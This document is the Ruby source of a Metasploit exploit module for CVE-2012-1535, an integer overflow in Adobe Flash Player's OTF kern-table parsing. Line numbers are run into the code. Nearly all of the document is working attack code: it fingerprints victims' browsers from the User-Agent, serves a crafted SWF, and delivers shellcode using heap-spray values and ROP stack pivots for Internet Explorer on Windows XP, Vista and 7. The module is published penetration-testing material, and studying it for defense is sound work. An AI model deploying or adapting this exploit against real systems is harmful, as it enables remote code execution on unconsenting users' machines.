Path: blob/master/modules/exploits/windows/browser/adobe_flash_otf_font.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::RopDb1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow",16'Description' => %q{17This module exploits a vulnerability found in the ActiveX component of Adobe18Flash Player before 11.3.300.271. By supplying a specially crafted .otf font file19with a large nTables value in the 'kern' header, it is possible to trigger an20integer overflow, which results in remote code execution under the context of the21user. This vulnerability has also been exploited in the wild in limited targeted22attacks. Please note in order to ensure reliability, the exploit is forced to23modify your URIPATH parameter to less than 3 characters, which may cause possible24URIPATH collisions.25},26'License' => MSF_LICENSE,27'Author' => [28'Alexander Gavrun', # Through iDefense29'sinn3r',30'juan vazquez'31],32'References' => [33[ 'CVE', '2012-1535' ],34[ 'OSVDB', '84607'],35[ 'BID', '55009'],36[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],37[ 'URL', 'https://developer.apple.com/fonts/TTRefMan/RM06/Chap6.html' ],38[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ],39[ 'URL', 'https://www.rapid7.com/blog/post/2012/08/17/adobe-flash-player-exploit-cve-2012-1535-now-available-for-metasploit' ],40[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-18.html']41],42'Payload' => {43'Space' => 102444},45'DefaultOptions' => {46'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'47},48'Platform' => 'win',49'Targets' => [50# Tested successfully on:51# Flash 11.2.202.23352# Flash 11.3.300.26853# Flash 11.3.300.26554# Flash 11.3.300.25755[ 'Automatic', {} ],56[ 'IE 6 on Windows XP SP3', { 'Rop' => nil } ],57[ 'IE 7 on Windows XP SP3', { 'Rop' => nil } ],58[ 'IE 8 on Windows XP SP3', { 'Rop' => true, 'ASLR' => false } ],59[ 'IE 7 on Windows Vista SP2', { 'Rop' => nil }],60[ 'IE 8 on Windows 7 SP1', { 'Rop' => true, 'ASLR' => true } ],61[ 'IE 9 on Windows 7 SP1', { 'Rop' => true, 'ASLR' => true } ]62],63'Privileged' => false,64'DisclosureDate' => '2012-08-09',65'DefaultTarget' => 0,66'Notes' => {67'Reliability' => UNKNOWN_RELIABILITY,68'Stability' => UNKNOWN_STABILITY,69'SideEffects' => UNKNOWN_SIDE_EFFECTS70}71)72)7374register_options(75[76OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),77]78)79end8081def get_payload(t, flash_version = nil)82if t['Rop'].nil?83p = [840x0c0c0c0c, # mapped at 1e0d0000850x0c0c0c0c,860x0c0c0c0c, # mapped at 1e0d000887].pack("V*")8889p << payload.encoded90return p91end9293if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/94print_status("Using Rop Chain For Flash: #{flash_version}")95pivot = [960x10004171, # POP EDI # POP ESI # RETN (1e0d0000)970x0c0c0c0c,980x1001d891, # xchg eax, esp # ret (1e0d0008)99].pack("V*")100101p = generate_rop_payload('flash', payload.encoded, { 'target' => '11.3.300.257', 'pivot' => pivot })102103elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/104print_status("Using Rop Chain For Flash: #{flash_version}")105pivot = [1060x10004171, # POP EDI # POP ESI # RETN (1e0d0000)1070x0c0c0c0c,1080x1001d6d3, # xchg eax, esp # ret (1e0d0008)109].pack("V*")110111p = generate_rop_payload('flash', payload.encoded, { 'target' => '11.3.300.265', 'pivot' => pivot })112113elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/114print_status("Using Rop Chain For Flash: #{flash_version}")115pivot = [1160x10004171, # POP EDI # POP ESI # RETN (1e0d0000)1170x0c0c0c0c,1180x1001d755, # xchg eax, esp # ret (1e0d0008)119].pack("V*")120121p = generate_rop_payload('flash', payload.encoded, { 'target' => '11.3.300.268', 'pivot' => pivot })122123else124print_status("Default back to JRE ROP")125pivot = [1260x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)1270x0c0c0c0c,1280x7c348b05, # xchg eax, esp # ret (1e0d0008)129].pack("V*")130131p = generate_rop_payload('java', payload.encoded, { 'pivot' => pivot })132end133134return p135end136137def get_target(agent)138# If the user is already specified by the user, we'll just use that139return target if target.name != 'Automatic'140141if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/142return targets[1] # IE 6 on Windows XP SP3143elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/144return targets[2] # IE 7 on Windows XP SP3145elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/146return targets[3] # IE 8 on Windows XP SP3147elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/148return targets[4] # IE 7 on Windows Vista SP2149elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/150return targets[5] # IE 8 on Windows 7 SP1151elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/152return targets[6] # IE 9 on Windows 7 SP1153else154return nil155end156end157158def on_request_uri(cli, request)159agent = request.headers['User-Agent']160my_target = get_target(agent)161162# Avoid the attack if the victim doesn't have the same setup we're targeting163if my_target.nil?164print_error("Browser not supported: #{agent}")165send_not_found(cli)166return167end168169print_status("Target selected: #{my_target.name}")170print_status("Client requesting: #{request.uri}")171172# The SWF request itself173if request.uri =~ /\.swf$/174print_status("Sending SWF")175send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })176return177end178179# The TXT payload request180if request.uri =~ /\.txt$/181flash_version = request.headers['x-flash-version']182shellcode = get_payload(my_target, flash_version).unpack('H*')[0]183print_status("Sending Payload")184send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })185return186end187188# swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"189swf_uri = "/#{@resource_name}.txt.swf"190191html = %Q|192<html>193<head>194</head>195<body>196<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">197<param name="movie" value="#{swf_uri}">198<param name="FlashVars" value="s=#{@resource_name}">199</object>200</body>201</html>202|203204html = html.gsub(/^ {4}/, '')205206print_status("Sending HTML")207send_response(cli, html, { 'Content-Type' => 'text/html' })208end209210def primer211# we need to handle direct /pay.txt requests212hardcoded_uripath("/#{@resource_name}.txt")213end214215def exploit216@swf = create_swf217@resource_name = Rex::Text.rand_text_alpha(5)218vprint_status("SWF Loaded: #{@swf.length.to_s} bytes")219220datastore['URIPATH'] = datastore['URIPATH'] || random_uri221datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//222datastore['URIPATH'] = datastore['URIPATH'][0, 3] if datastore['URIPATH'].length > 3223print_warning("URIPATH set to #{datastore['URIPATH']}")224225super226end227228def create_swf229path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2012-1535", "Main.swf")230fd = ::File.open(path, "rb")231swf = fd.read(fd.stat.size)232fd.close233return swf234end235end236237238